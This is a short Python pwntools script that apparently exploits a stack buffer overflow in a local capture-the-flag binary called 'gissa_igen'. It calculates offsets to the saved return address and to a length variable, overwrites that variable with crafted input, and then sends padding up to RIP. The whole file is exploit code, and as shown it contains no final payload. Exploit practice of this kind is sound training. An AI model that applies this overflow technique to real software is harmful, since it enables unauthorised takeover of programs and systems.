#!/usr/bin/python
from pwn import *
import sys

context.log_level = 'debug'

len_to_rip = 169
len_to_len = len_to_rip - 0x1d
len_to_inc = len_to_rip - 0x1b
len_to_counter = len_to_rip - 0x11


conn = process("./gissa_igen")


print conn.recvuntil(": ")
conn.sendline()
print conn.recvuntil(": ")
#overwrite length variable
conn.sendline("A" * len_to_len + p64(len_to_rip) + "AAAA" + p64(0x00))
print conn.recvuntil(": ")
conn.sendline("A" * (len_to_rip))
print conn.recvline()
